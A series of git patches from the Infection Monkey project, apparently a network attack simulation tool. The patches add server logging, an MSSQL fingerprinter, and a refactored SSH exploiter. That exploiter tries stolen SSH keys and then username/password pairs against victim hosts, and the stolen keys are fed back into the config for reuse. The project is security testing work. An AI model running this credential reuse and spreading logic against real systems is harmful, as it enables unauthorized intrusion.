get_monkey_executable(host_os, machine): for download in MONKEY_DOWNLOADS: if host_os == download.get('type') and machine == download.get('machine'): + logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine)) return download + logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}' + .format(host_os, machine)) return None diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 61c788d7e..56a7695c7 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -1,4 +1,5 @@ from datetime import datetime +import logging import flask_restful from flask import request, make_response, jsonify @@ -12,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +logger = logging.getLogger(__name__) + class Root(flask_restful.Resource): @@ -42,6 +45,7 @@ class Root(flask_restful.Resource): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() + logger.info('DB was reset') return jsonify(status='OK') @staticmethod @@ -50,6 +54,7 @@ class Root(flask_restful.Resource): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, multi=True) + logger.info('Kill all monkeys was called') return jsonify(status='OK') @staticmethod @@ -59,6 +64,7 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False + logger.info('Report generation cannot be completed, infection is not done.') else: report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..ef87a8f3d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,6 +1,7 @@ import copy import collections import functools +import logging from jsonschema import Draft4Validator, validators from cc.database import mongo @@ -10,6 +11,8 @@ from cc.utils import local_ip_addresses __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + WARNING_SIGN = u" \u26A0" SCHEMA = { @@ -893,6 +896,7 @@ class ConfigService: if should_encrypt: ConfigService.encrypt_config(config_json) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + logger.info('monkey config was updated') @staticmethod def init_default_config(): @@ -908,6 +912,7 @@ class ConfigService: config = copy.deepcopy(ConfigService.default_config) if should_encrypt: ConfigService.encrypt_config(config) + logger.info("Default config was called") return config @staticmethod @@ -921,6 +926,7 @@ class ConfigService: config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) + logger.info('Monkey config reset was called') @staticmethod def set_server_ips_in_config(config): @@ -937,6 +943,7 @@ class ConfigService: initial_config['name'] = 'initial' initial_config.pop('_id') mongo.db.config.insert(initial_config) + logger.info('Monkey config was inserted to mongo and saved') @staticmethod def _extend_config_with_default(validator_class): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..c69335d71 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,4 +1,5 @@ import ipaddress +import logging from enum import Enum from cc.database import mongo @@ -10,6 +11,9 @@ from cc.utils import local_ip_addresses, get_subnets __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + + class ReportService: def __init__(self): pass @@ -77,6 +81,8 @@ class ReportService: creds = ReportService.get_azure_creds() machines = set([instance['origin'] for instance in creds]) + logger.info('Azure issues generated for reporting') + return [ { 'type': 'azure_password', @@ -103,6 +109,8 @@ class ReportService: } for node in nodes] + logger.info('Scanned nodes generated for reporting') + return nodes @staticmethod @@ -124,6 +132,8 @@ class ReportService: } for monkey in exploited] + logger.info('Exploited nodes generated for reporting') + return exploited @staticmethod @@ -147,6 +157,7 @@ class ReportService: 'origin': origin } ) + logger.info('Stolen creds generated for reporting') return creds @staticmethod @@ -167,6 +178,8 @@ class ReportService: azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', 'origin': origin} for user in azure_users] creds.extend(azure_leaked_users) + + logger.info('Azure machines creds generated for reporting') return creds @staticmethod @@ -318,6 +331,7 @@ class ReportService: if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) + logger.info('Issues generated for reporting') return issues_dict @staticmethod @@ -405,6 +419,7 @@ class ReportService: {'name': 'generated_report'}, {'$set': {'value': True}}, upsert=True) + logger.info("Report marked as generated.") @staticmethod def get_report(): From f37fabaf757beb261d8a2cfabda2950dd47f7353 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 19:27:26 +0300 Subject: [PATCH 038/137] I've added logs to cover these situations and modules: Configuration reset Configuration Insert Configuration Update Report steps Monkey downloads Env startup logs Also I've changed the logging init position so it covers every functions from main, some functions and vars are being called and init from import level, in order to log those situations I had to init the log system right on the beginning of the module. --- monkey_island/cc/environment/environment.py | 2 +- monkey_island/cc/main.py | 9 +++++---- monkey_island/cc/resources/client_run.py | 2 +- monkey_island/cc/resources/island_logs.py | 4 ++-- monkey_island/cc/resources/monkey_configuration.py | 1 - 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index ebe456b3e..094b9c235 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -22,7 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() - logger.info('Monkey\'s env is: {0}'.format(env)) + logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) except Exception: logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 41e2ba576..c1133a9c8 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -9,11 +9,15 @@ BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) +from cc.island_logger import json_setup_logging +# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. +json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) +logger = logging.getLogger(__name__) + from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up -from cc.island_logger import json_setup_logging def main(): @@ -21,9 +25,6 @@ def main(): from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop - json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) - logger = logging.getLogger(__name__) - mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index c2e44c9aa..0e4be42e7 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -20,7 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: - logger.info("") + logger.info("Monkey is not running") is_monkey_running = False return jsonify(is_running=is_monkey_running) diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py index 1ca1a8cdf..971306c14 100644 --- a/monkey_island/cc/resources/island_logs.py +++ b/monkey_island/cc/resources/island_logs.py @@ -1,6 +1,7 @@ -import flask_restful import logging +import flask_restful + from cc.auth import jwt_required from cc.services.island_logs import IslandLogService @@ -16,4 +17,3 @@ class IslandLog(flask_restful.Resource): return IslandLogService.get_log_file() except Exception as e: logger.error('Monkey Island logs failed to download', exc_info=True) - diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 22492344b..6dab8dddb 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -19,7 +19,6 @@ class MonkeyConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset' in config_json: ConfigService.reset_config() - else: ConfigService.update_config(config_json, should_encrypt=True) return self.get() From 0503f90168af1a3fd733d3aa03b40f2a3f5006d8 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 4 Jun 2018 12:07:10 +0300 Subject: [PATCH 039/137] Notes fixed --- infection_monkey/exploit/sshexec.py | 45 +++++++++++++++---------- monkey_island/cc/resources/telemetry.py | 1 + monkey_island/cc/services/config.py | 8 +++-- monkey_island/cc/services/report.py | 2 +- 4 files changed, 35 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index 2209a0685..7c6cc6509 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -32,21 +32,7 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() - def exploit_host(self): - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - - port = SSH_PORT - # if ssh banner found on different port, use that port. - for servkey, servdata in self.host.services.items(): - if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-', '')) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - LOG.info("SSH port is closed on %r, skipping", self.host) - return False - + def exploit_with_ssh_keys(self, port, ssh): user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False @@ -67,8 +53,8 @@ class SSHExploiter(HostExploiter): timeout=None) LOG.debug("Successfully logged in %s using %s users private key", self.host, ssh_string) - self.report_login_attempt(True, user, ssh_key=ssh_string) exploited = True + self.report_login_attempt(True, user, ssh_key=ssh_string) break except Exception as exc: LOG.debug("Error logging into victim %r with %s" @@ -76,9 +62,13 @@ class SSHExploiter(HostExploiter): ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string) continue + return exploited + def exploit_with_login_creds(self, port, ssh): user_password_pairs = self._config.get_exploit_user_password_pairs() + exploited = False + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, @@ -89,8 +79,8 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) - self.report_login_attempt(True, user, curpass) exploited = True + self.report_login_attempt(True, user, curpass) break except Exception as exc: @@ -99,6 +89,27 @@ class SSHExploiter(HostExploiter): user, curpass, exc) self.report_login_attempt(False, user, curpass) continue + return exploited + + def exploit_host(self): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + port = SSH_PORT + # if ssh banner found on different port, use that port. + for servkey, servdata in self.host.services.items(): + if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): + port = int(servkey.replace('tcp-', '')) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + LOG.info("SSH port is closed on %r, skipping", self.host) + return False + + #Check for possible ssh exploits + exploited = self.exploit_with_ssh_keys(port, ssh) + if not exploited: + exploited = self.exploit_with_login_creds(port, ssh) if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 540802ca1..01caf3003 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -171,6 +171,7 @@ class Telemetry(flask_restful.Resource): ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 46773c0fb..11f58481f 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -510,6 +510,9 @@ SCHEMA = { "type": "array", "uniqueItems": True, "default": [], + "items": { + "type": "string" + }, "description": "List of SSH key pairs to use, when trying to ssh into servers" } } @@ -898,9 +901,8 @@ class ConfigService: @staticmethod def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) - ['exploits']['exploit_ssh_keys'], - user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], + False, False), user, ip): ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 15b11e877..561ef004b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -404,7 +404,7 @@ class ReportService: elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users: + issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True From de832780b62b65a29c55d7140710d4349da2b02e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 6 Jun 2018 13:54:21 +0300 Subject: [PATCH 040/137] Removed overly verbose logging line, triggered every 2 seconds --- monkey_island/cc/resources/root.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 56a7695c7..1d9141589 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -64,7 +64,6 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False - logger.info('Report generation cannot be completed, infection is not done.') else: report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) From 293c204dddb7fcd184efdab3c21506564a6f42a9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 17:51:46 +0300 Subject: [PATCH 041/137] Created the MSSQL_fingerprinter branch, added the fingerprint class WIP. --- infection_monkey/network/mssql_fingerprint.py | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 infection_monkey/network/mssql_fingerprint.py diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py new file mode 100644 index 000000000..bbe762e27 --- /dev/null +++ b/infection_monkey/network/mssql_fingerprint.py @@ -0,0 +1,67 @@ +import logging +import socket + +from model.host import VictimHost +from network import HostFinger +from .tools import struct_unpack_tracker, struct_unpack_tracker_string + + +LOG = logging.getLogger(__name__) + + +class MSSQLFingerprint(HostFinger): + + def __init__(self): + self._config = __import__('config').WormConfiguration + + def get_host_fingerprint(self, host): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service. + Args: + host (str): Hostname or IP address of the SQL Server to query for information. + + Returns: + Discovered server information written to the Host info struct. + """ + + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(timeout) + server_address = (str(host), browser_port) + + if instance_name: + # The message is a CLNT_UCAST_INST packet to get a single instance + # https://msdn.microsoft.com/en-us/library/cc219746.aspx + message = '\x04{0}\x00'.format(instance_name) + else: + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' + + # Encode the message as a bytesarray + message = message.encode() + + # send data and receive response + results = [] + try: + logging.info('Sending message to requested host: {0}, {1}'.format(host, message)) + sock.sendto(message, server_address) + data, server = sock.recvfrom(buffer_size) + except socket.timeout: + logging.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + return results + + # Loop through the server data + for server in data[3:].decode().split(';;'): + server_info = OrderedDict() + instance_info = server.split(';') + + if len(instance_info) > 1: + for i in range(1, len(instance_info), 2): + server_info[instance_info[i - 1]] = instance_info[i] + + results.append(server_info) + + # Close the socket + sock.close() + + return results From 8b22a520066ed6a45cb37270ce77b40d56a1d117 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:16:39 +0300 Subject: [PATCH 042/137] Added the mssql finger class to the main network init file so it will be usable. --- infection_monkey/network/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index a1df9d2e9..15c3166aa 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port +from mssql_fingerprint import MSSQLFingerprint \ No newline at end of file From d4c1871f87d2b0ae5d6f0974ec7bdd149ea7a6aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:23:08 +0300 Subject: [PATCH 043/137] Implemented the first draft of the mssql fingerprint class Every line of code is documented and straight forward. --- infection_monkey/network/mssql_fingerprint.py | 39 ++++++++++--------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index bbe762e27..51f5e25b0 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -3,7 +3,6 @@ import socket from model.host import VictimHost from network import HostFinger -from .tools import struct_unpack_tracker, struct_unpack_tracker_string LOG = logging.getLogger(__name__) @@ -11,6 +10,12 @@ LOG = logging.getLogger(__name__) class MSSQLFingerprint(HostFinger): + # Class related consts + SQL_BROWSER_DEFAULT_PORT = 1434 + BUFFER_SIZE = 4096 + TIMEOUT = 5 + SERVICE_NAME = 'mssql' + def __init__(self): self._config = __import__('config').WormConfiguration @@ -23,19 +28,16 @@ class MSSQLFingerprint(HostFinger): Discovered server information written to the Host info struct. """ + assert isinstance(host, VictimHost) + # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(timeout) - server_address = (str(host), browser_port) + sock.settimeout(self.TIMEOUT) + server_address = (str(host), self.SQL_BROWSER_DEFAULT_PORT) - if instance_name: - # The message is a CLNT_UCAST_INST packet to get a single instance - # https://msdn.microsoft.com/en-us/library/cc219746.aspx - message = '\x04{0}\x00'.format(instance_name) - else: - # The message is a CLNT_UCAST_EX packet to get all instances - # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = '\x03' + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' # Encode the message as a bytesarray message = message.encode() @@ -43,23 +45,22 @@ class MSSQLFingerprint(HostFinger): # send data and receive response results = [] try: - logging.info('Sending message to requested host: {0}, {1}'.format(host, message)) + LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) sock.sendto(message, server_address) - data, server = sock.recvfrom(buffer_size) + data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - logging.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + sock.close() return results + host.services[self.SERVICE_NAME] = {} + # Loop through the server data for server in data[3:].decode().split(';;'): - server_info = OrderedDict() instance_info = server.split(';') - if len(instance_info) > 1: for i in range(1, len(instance_info), 2): - server_info[instance_info[i - 1]] = instance_info[i] - - results.append(server_info) + host.services[self.SERVICE_NAME][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() From fadafdbd3ade5c16652a238c38f08d9d201e6c75 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:23:54 +0300 Subject: [PATCH 044/137] Updated the config files to default include the mssql fingerfrint class: MSSQLFingerprinter, in the monkey's configuration. --- infection_monkey/config.py | 3 ++- infection_monkey/example.conf | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 7bd651965..5be1394c0 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -8,7 +8,8 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger +from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ + MSSQLFingerprint __author__ = 'itamar' diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1baed66f2..5889b68d3 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -44,6 +44,7 @@ "HTTPFinger", "SMBFinger", "MySQLFinger", + "MSSQLFingerprint", "ElasticFinger" ], "max_iterations": 3, From 1272700fe5283922318db5bb815d7fb2e01faec5 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 20:02:18 +0300 Subject: [PATCH 045/137] * Added an author mark and updated docs * Changed the module to use the VictimHost object as host * added True\False return statements. --- infection_monkey/network/mssql_fingerprint.py | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 51f5e25b0..ab17ecb3b 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -4,6 +4,7 @@ import socket from model.host import VictimHost from network import HostFinger +__author__ = 'Maor Rayzin' LOG = logging.getLogger(__name__) @@ -21,11 +22,12 @@ class MSSQLFingerprint(HostFinger): def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. - Args: - host (str): Hostname or IP address of the SQL Server to query for information. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. - Returns: + :returns: Discovered server information written to the Host info struct. + True if success, False otherwise. """ assert isinstance(host, VictimHost) @@ -33,7 +35,7 @@ class MSSQLFingerprint(HostFinger): # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(self.TIMEOUT) - server_address = (str(host), self.SQL_BROWSER_DEFAULT_PORT) + server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) # The message is a CLNT_UCAST_EX packet to get all instances # https://msdn.microsoft.com/en-us/library/cc219745.aspx @@ -43,7 +45,6 @@ class MSSQLFingerprint(HostFinger): message = message.encode() # send data and receive response - results = [] try: LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) sock.sendto(message, server_address) @@ -51,7 +52,7 @@ class MSSQLFingerprint(HostFinger): except socket.timeout: LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() - return results + return False host.services[self.SERVICE_NAME] = {} @@ -59,10 +60,13 @@ class MSSQLFingerprint(HostFinger): for server in data[3:].decode().split(';;'): instance_info = server.split(';') if len(instance_info) > 1: + host.services[self.SERVICE_NAME][instance_info[1]] = {} for i in range(1, len(instance_info), 2): - host.services[self.SERVICE_NAME][instance_info[i - 1]] = instance_info[i] + # Each instance's info is nested under its own name, if there are multiple instances + # each will appear under its own name + host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() - return results + return True From d312a3a77146d40d8096e74e81bf581a8854e365 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 12 Jun 2018 13:26:28 +0300 Subject: [PATCH 046/137] * Changed name from MSSQLFingerprint to MSSQLFinger to match convention. * Added UI support for the new fingerprint in Monkey Island. * UI supports includes writing up MSSQL as a service under node's services list. --- infection_monkey/config.py | 2 +- infection_monkey/network/__init__.py | 2 +- infection_monkey/network/mssql_fingerprint.py | 4 ++-- monkey_island/cc/services/config.py | 9 +++++++++ 4 files changed, 13 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1eacaef58..3472c63a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -9,7 +9,7 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ - MSSQLFingerprint + MSSQLFinger __author__ = 'itamar' diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index 15c3166aa..fa15e357c 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,4 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port -from mssql_fingerprint import MSSQLFingerprint \ No newline at end of file +from mssql_fingerprint import MSSQLFinger \ No newline at end of file diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ab17ecb3b..70f4f2369 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -9,13 +9,13 @@ __author__ = 'Maor Rayzin' LOG = logging.getLogger(__name__) -class MSSQLFingerprint(HostFinger): +class MSSQLFinger(HostFinger): # Class related consts SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - SERVICE_NAME = 'mssql' + SERVICE_NAME = 'MSSQL' def __init__(self): self._config = __import__('config').WormConfiguration diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..2887bf5a3 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -121,6 +121,14 @@ SCHEMA = { ], "title": "MySQLFinger" }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + { "type": "string", "enum": [ @@ -367,6 +375,7 @@ SCHEMA = { "PingScanner", "HTTPFinger", "MySQLFinger", + "MSSQLFinger", "ElasticFinger" ], "description": "Determines which classes to use for fingerprinting" From db6f44109b6b8d8c5d86186287b3c4adc1311b4e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 12 Jun 2018 16:29:27 +0300 Subject: [PATCH 047/137] * Responding to the PR comments with the logs and usage changes. --- infection_monkey/config.py | 2 +- infection_monkey/network/mssql_fingerprint.py | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 3472c63a8..6a01a7e29 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -146,7 +146,7 @@ class Configuration(object): max_iterations = 1 scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] + finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 70f4f2369..9409c2255 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -50,15 +50,17 @@ class MSSQLFinger(HostFinger): sock.sendto(message, server_address) data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False host.services[self.SERVICE_NAME] = {} # Loop through the server data - for server in data[3:].decode().split(';;'): - instance_info = server.split(';') + instances_list = data[3:].decode().split(';;') + LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + for instance in instances_list: + instance_info = instance.split(';') if len(instance_info) > 1: host.services[self.SERVICE_NAME][instance_info[1]] = {} for i in range(1, len(instance_info), 2): From 20d4b3a642fa2688fded5c55152d75eaae3de72c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 16:05:12 +0300 Subject: [PATCH 048/137] Fix default config values --- infection_monkey/config.py | 4 ++-- infection_monkey/example.conf | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..eea600ff6 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -184,9 +184,9 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - subnet_scan_list = ['', ] + subnet_scan_list = [] - blocked_ips = ['', ] + blocked_ips = [] # TCP Scanner HTTP_PORTS = [80, 8080, 443, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..45eed24a3 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -8,9 +8,9 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - "" + ], - "blocked_ips": [""], + "blocked_ips": [], "current_server": "41.50.73.31:5000", "alive": true, "collect_system_info": true, From 0173aaf3f65448d8923328523af49d708b1ef614 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 17:36:17 +0300 Subject: [PATCH 049/137] Update mocha Change color structure for edge - required by update --- monkey_island/cc/ui/package-lock.json | 206 ++++++------------ monkey_island/cc/ui/package.json | 2 +- .../cc/ui/src/components/pages/MapPage.js | 2 +- 3 files changed, 67 insertions(+), 143 deletions(-) diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 57cdfdc01..c7538ccc6 100644 --- 